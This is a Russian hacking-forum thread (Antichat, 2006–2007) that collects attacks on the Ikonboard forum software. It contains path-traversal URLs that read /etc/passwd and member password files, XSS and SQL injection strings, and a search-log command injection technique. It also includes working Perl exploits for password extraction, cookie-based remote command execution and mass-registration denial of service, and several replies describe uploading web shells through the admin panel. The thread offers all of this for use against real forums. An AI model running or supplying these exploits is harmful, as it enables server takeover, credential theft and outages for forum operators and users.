Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   [Обзор уязвимостей Ikonboard] (https://forum.antichat.xyz/showthread.php?t=26024)

_-[A.M.D]HiM@S-_ 27.10.2006 00:20

[Обзор уязвимостей Ikonboard]
 
Ikonboard 1.x

Уявимость позволяет просмотреть содержимое любого файла, например файл с паролем пользователя форума.

Код:

http://www.example.com/cgi-bin/ikonboard/help.cgi?helpon=../../../../../etc/passwd%00
This would show the password file, if it is readable with the privileges of the web server.

http://www.example.com/cgi-bin/ikonboard/help.cgi?helpon=../members/<member>.cgi%00
This will replace <member> with the member name and it show the board-password (this works with administrator accounts as well).



Ikonboard 2.1.7

01 декабря, 2000
Проблема происходит в операции сценария register.cgi. Из-за недостаточной проверки параметров, можно выполнить программы, с привилегиями процесса Web сервера. Устанавливая переменную $SEND_MAIL в URL, можно определить программу (&SEND_MAIL=/path/program), которая будет выполнена в системе. Этот недостаток позволяет пользователю получить доступ к системе, выполняющей ikonboard.


Ikonboard 2.1.7b

Уязвимость позволяет просмотривать произвольные файлы в системе:
PHP код:

topic.cgi?forum=5&topic=../../../../../../../../../../../../../etc/passwd 

video: http://video.antichat.ru/file42.html



Ikonboard 2.1.9 Beta
phpBB 1.4.2


Активная XSS:

PHP код:

[img]javasCript:alert('This is the test')[/img



Ikonboard 2.1.9

25 сентября, 2002
Ikonboard Cookie filter vulnerability

(Повышение прав, заливка шела)

Here the variable $filename come from Cookie amembernamecookie not filter "..", attacker can
sent a fake cookie("amembernamecookie"), set up or edit the file on the system, because the
write file variable not filter, so the attacker can write any content to the file, and
gain the bbs administrator's privilege.

Код:

File:Search.cgi
---[L.55-56]---
$inmembername    = cookie("amembernamecookie");
$filename = $inmembername;
---
As we can see, $inmembername is the get for cookie 'amembernamecookie'
---[L.66-]---
$searchfilename = "$ikondir" . "search/$filename";
---

Exploit: http://aoh.name/sploit/aohib.txt

PHP код:

#!/bin/perl
use LWP::UserAgent;
use 
HTTP::Cookies;

if(@
ARGV 2) { ause(); exit();}

$h=$ARGV[0];
$u=$ARGV[1];

$www = new LWP::UserAgent;

print 
"[~] Attacking $h\n";

$res $www->get("http://$h/cgi-bin/ikonboard/search.cgi?action=display" ,   
                 
'Cookie' => "amembernamecookie=../members/$u.cgi%00;") or err();
  
  
if(
$res->content() =~ /$u/) {print "[+] Forum may be vulnerably"; } 
else {
err();}

$res->content() =~ /forum=(\w+)&topic=(\w+)/;
print 
"\n[~] Login:$1 \r\n[~] Password:$2";


sub ause()
{
print 
"\n==[ AOH.NAME ]==\n\n";
print 
"<----------------------------------------------------->\n";
print 
"Ikonboard all versions users Pass view exploit \nBy Art of Hack security team [Slon, ZxZ]\r\n";
print 
"Ussage: aohib.pl <host> <user>\r\n";
print 
"<----------------------------------------------------->\n";
}

sub err() {print "[-] Forum is NOT vulnerably"; exit();} 



Ikonboard 2.1.9 RussianFullPack
Уязвимость в Ikonboard позволяет удаленному пользователю выполнить XSS нападение
Уязвимость найдена в скрипте misc.cgi в форуме Ikonboard 2.1.9 в полях "aimname" и "UIN"

PHP код:

misc.cgi?action=aim&aimname=<script>javascript:alert('hello')</script

PHP код:

misc.cgi?action=icq&UIN=<script>javascript:alert('hello')</script



Ikonboard 2.1.9 RussianFullPack

Уязвимость в Ikonboard в search.cgi позволяет удаленному пользователю изменить содержимое логов поиска, чтобы выполнить произвольные команды на сервере.

Уязвимость обнаружена в сценарии search.cgi. Скрипт не проверяет параметры поиска, занося их в лог файл. Т.к. лог файл храниться в папке /cgi-bin/board/search, то при вызове лог файла, последний вызовется, как скрипт. Тем самым, придав сохраняемым в лог параметрам вид выполняемых perl - функций, становится возможным выполнять команды. Взломщика интересует 2 параметра. Первый параметр, вносимый в лог - это CUR_TIME, задав его значение как "#/usr/bin/perl" взломщик задаст первую строку лога.

Второй параметр SEARCH_STRING, задав вместо него "print 'Content-type: text/html\n\n'; system('ls');", взломщим получит выполнение команды "ls". Важно заметить, что двойные кавычки фильтруются сценарием, но их нужно заменить на одинарные. Знаки ">" и "<" так же фильтруются, поэтому открыть файл на запись не состоит возможным.

Так же стоит заметить, что при использовании функции поиска зарегистрированным пользователем лог файл имеет название [USERNAME]_sch.txt, если пользователь не зарегистрирован в форуме, то файл имеет название Guest[IP-адрес без точек]_sch.txt. (например, Guest127001_sch.txt).


Пример/Эксплоит: Эксплоит под Windows Apache (perl) вложен ниже. Проверено на локальной системе.

Содержание Guest127001_sch.txt после эксплоита:
PHP код:

#!perl
print 'Content-type: text/html\n\n'system('dir'); 



Ikonboard 3.0.0

05 июня, 2002
Ikonboard – доска объявлений, осуществленная в Perl. Ikonboard может быть развернута для Linux, UNIX и Windows систем.

Ikonboard разрешает пользователям загружать Flash содержание, однако, возможно обработать Flash файл таким способом, что злонамеренный JavaScript будет включен в действие getURL.

Если пользователь просмотрит сообщение, содержащее злонамеренный Flash файл, JavaScript, включенный в действие getURL, выполнится в пределах контекста сайта, выполняющего Ikonboard. Уязвимость может использоваться для организации различных нападений против Web приложения (напр. Перехвата опознавательных мандатов пользователей Ikonboard).

Exploit: _http://www.securitylab.ru/analytics/216391.php



Ikonboard 3.1.0, 3.1.1, 3.1.2, и 3.1.3

Возможно выполнить произвольные SQL команды на уязвимой системе
Уязвимость существует из-за некорректно обработки входных данных в параметрах 'st' и 'keywords' сценария 'ikonboard.cgi'. Удаленный атакующий может выполнить произвольные SQL команды на уязвимой системе.

Пример:
PHP код:

http://[target]/support/ikonboard.cgi?act=ST&f=27&t=13066&hl=nickname&st=1' 
http://[target]/support/ikonboard.cgi?act=Search&CODE=01&keywords='&type=name&forums=all&search_in=all&prune=0 



IkonBoard 3.1.1

08 апреля, 2003
Уязвимость в проверке правильности ввода обнаружена в IkonBoard. Удаленный пользователь может выполнить команды на сервере.

Как сообщается, функция LoadLanguage() в 'Sources/Lib/FUNC.pm' не в состоянии фильтровать данные пользователя в 'lang' куки. Поскольку в последствии результаты передаются к Perl eval() функции, как часть имени директории, удаленный пользователь может создать специально обработанный 'lang' куки, чтобы выполнять произвольные команды на системе.

Эксплоит:
PHP код:

#!/usr/bin/perl -w
use strict;

my $HOST 'www.example.domain';
my $PATH '/cgi-bin/ikonboard.cgi';

use 
IO::Socket;

my $sock IO::Socket::INET->new("$HOST:80") or die "connect: $!";

$sock->print(<<END) or die "write: $!";
GET $PATH HTTP/1.1
Host
$HOST
Cookie
lang=%2E%00%22
Connection
close

END

print while <$sock>; 



Ikonboard 3.1.5 (3.1.4)
Уязвимость позволяет производить листинг директорий сервера
Сама уязвимость находится в Панели управления ---->
Настройки аватара !
Щелкаем на настройку аватара как всегда увидим папки аватаров и ниже списки самих картинок.

Ссылка будет иметь вид :
cgi-bin/forum/ikonboard.cgi?act=UserCP;CODE=01;MODE=1

Заглянем в код страницы и увидим что меню выбора папок имеет id useravatar_dir

Добавим и просмотрим :
PHP код:

cgi-bin/forum/ikonboard.cgi?act=UserCP;CODE=01;MODE=1;useravatar _dir=../../../ 

=======

P/s:Много кто про Ikonboard спрашивал,многим пригодиться .Извените если что-то пропустил буду пополнять раздел.Пожайлусто тока не надо говорить что это бред,Ikonboard это всёже тоже форумы и все ими пользуються .Всем спасибо за точто я у вас отнял дрогоценное время на чтиво этого топика :(-

злюка 28.11.2006 21:47

скорее дело в том, что в скрипте прописана папка в которой лежит форум как $res = $www->get("http://$h/cgi-bin/ikonboard/search.cgi?action=display",
при это реально форум может лежать в совершенно в другом месте, поэтому я изменил это строчку до вида $res = $www->get("http://$h/search.cgi?action=display" , а далее по ходу в командной строке прописываю весь path форума, такой вариант более практичный. если не прав поправтье.

_-[A.M.D]HiM@S-_ 22.01.2007 14:10

*************Внимание - Внимание*****************
Уважаемые пользователи, стыд да срам. Впредь флуд в этой теме, а также в подобных темах, будет строго наказываться. Это первое и последнее предупреждение.
*************Внимание - Внимание*****************

*************Attention - Attention*****************
Dear users, shame on you. Flood in this and similar themes will be strictly punished from now. It is last warning
*************Attention - Attention*****************

JFKenedi 03.02.2007 14:10

Загрузка произвольного файла.. (т.е. шелла)
В Админке..

Upload Smiles -->
Выбираем произвольный файл (с любым абсолютно расширением)

Стандартно смайлы грузятся в /non-cgi/emoticons/
Дописываем... В графе File Name
/../shell.php (Напирмер)
Шелл соответсвенно загрузится в /non-cgi/

Вообще можно грузить в любую директорию в которой разрешена запись.

Таким образом получалось загружать файл shell.cgi
в папку /cgi-bin/

Но использовать не всегда удается...
Кое где админы правильно выставляют права..

_-Ramos-_ 26.07.2007 20:55

Залить шелл можна намного простым способом :
Зайти в файловый менеджер ,который есть в админке ,и залить в любую папку свой шелл ,
но если форум правельно настроен ,то шел может не сработать , но под менеджером есть строка в которой можна с помощю команды chmod выставить нужные права и шелл будет функционален

Basurman 30.07.2007 15:36

Ikonboard <= 3.1.5 (Register Users) Denial of Service Exp
 
Код:

#!/usr/bin/perl
#####################################
# Ikonboard Register Multiple Users Denial of Service
# Code Written By Pr0T3cT10n <pr0t3ct10n@gmail.com >
# KamikaZ Security Team <http://www.kamikaz-team.com>
# ISRAEL
#####################################
use warnings;
use strict;
use IO::Socket;

my $host = $ARGV[0];
my $path = $ARGV[1];
my $rand = rand(10);

if(!$ARGV[1])
{
print "#######################################################\n";
print "# Ikonboard Register Multiple Users Denial of Service\n";
print "# Code Written By Pr0T3cT10n\n";
print "#######################################################\n";
print "# [host] [path]\n";
print "# host.com /forum/\n";
print "#######################################################\n";
exit();
}
for(my $i=0; $i<9999; $i++)
{
    my $name = "KK_" .$rand.$i;
    my $data = "act=Reg&CODE=02&COPPA=&UserName=" .$name. "&PassWord=123456&PassWord_Check=123456&EmailAddress=" .$name. "\@host.com&MEMBER_NAME_R=KamikaZ_Bot&SEX=1&LOCATION=127.0.0.1&HIDE_EMAIL=1&WEBSITE=http%3A%2F%2Fwww.kamikaz-team.com&AOLNAME=&ICQNUMBER=&MSNNAME=&YAHOONAME=&INTERESTS=&SIGNATURE=http%3A%2F%2Fwww.kamikaz-team.com&Post=&agree=1";
    my $socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $host , PeerPort => "80") or die("[-] Connection faild.\n");
    my $pack = "POST " .$path. "cgi-bin/ikonboard.cgi HTTP/1.0\r\n";
    $pack.= "Host: " .$host. "\r\n";
    $pack.= "Content-Type: application/x-www-form-urlencoded\r\n";
    $pack.= "Content-Length: " .length($data). "\r\n\r\n";
    $pack.= $data;
    print $socket $pack;
    syswrite STDOUT, "+";
}
print "[+] Done..\n";


iddqd 26.12.2007 19:39

Ikonboard 3.1.1 и Ikonboard 3.1.2a
 
Код:

#!/usr/bin/perl
#
#  Date: 5 May 2003
#  Author: snooq [http://www.angelfire.com/linux/snooq/]
#
#  Ikonboard 3.1.1 Remote Command Execution PoC
#  ============================================
#  This bug was found by Nick Cleaton.
#
#  For more info and patch, go to:
#  http://archives.neohapsis.com/archives/bugtraq/2003-04/0027.html
#
#  Use at your very own risk.
#
#  Greetz.. my team mates: JF, Nam, ET..
#  And some new frens: Kader, Bufferoulis, Neil... ;)
#
use Socket;
use FileHandle;

if ($ARGV[0] eq '') {
        print "Usage: $0 <host> [cmd] [path]\n";
        exit;
}

my $port=80;
my $host=$ARGV[0];
my $addr=getaddr($ARGV[0]);
my $cmd=$ARGV[1]?($ARGV[1]):"/bin/uname -a";
my $path=$ARGV[2]?($ARGV[2]):"/cgi-bin/ikonboard.cgi";
my $buff=URLEncode(".\0\" unless(1);"
                  ."print \"Content-type: text/plain\\r\\n\\r\\n\";"
                  ."print \"---BEGIN---\\n\".`$cmd`.\"\\n---END---\";exit;#");

socket(SOCKET,PF_INET,SOCK_STREAM,(getprotobyname('tcp'))[2]);
connect(SOCKET,pack('Sna4x8',AF_INET,$port,$addr,2)) || die "Can't connect: $!\n";

SOCKET->autoflush();

print SOCKET "GET $path HTTP/1.1\r\n";
print SOCKET "Host: $host\r\n";
print SOCKET "Cookie: lang=$buff\r\n";
print SOCKET "Connection: close\r\n\r\n";
print "Ikonboard Exploit, by snooq [ jinyean\@hotmail.com ]\n\n";

while (<SOCKET>) {
        if (/^---BEGIN---/) {
                print "> $cmd\n";
                while (<SOCKET>){
                        if (/^---END---/) { exit; }
                        print;
                }
        }
}

print "$host seems not vulnerable.\n";

exit;

sub getaddr {
        my $host=($_[0]);
        my $n=$host;
        $n=~tr/\.//d;

        if ($n=~m/\d+/) {
                return pack('C4',split('\.',$host));
        }
        else {
                return (gethostbyname($host))[4];
        }
}

# URLEncode routine, courtesy of Glenn Fleishman

sub URLEncode {
        my $theURL=$_[0];
        $theURL=~ s/([\W])/"%".uc(sprintf("%2.2x",ord($1)))/eg;
        return $theURL;
}



Время: 20:10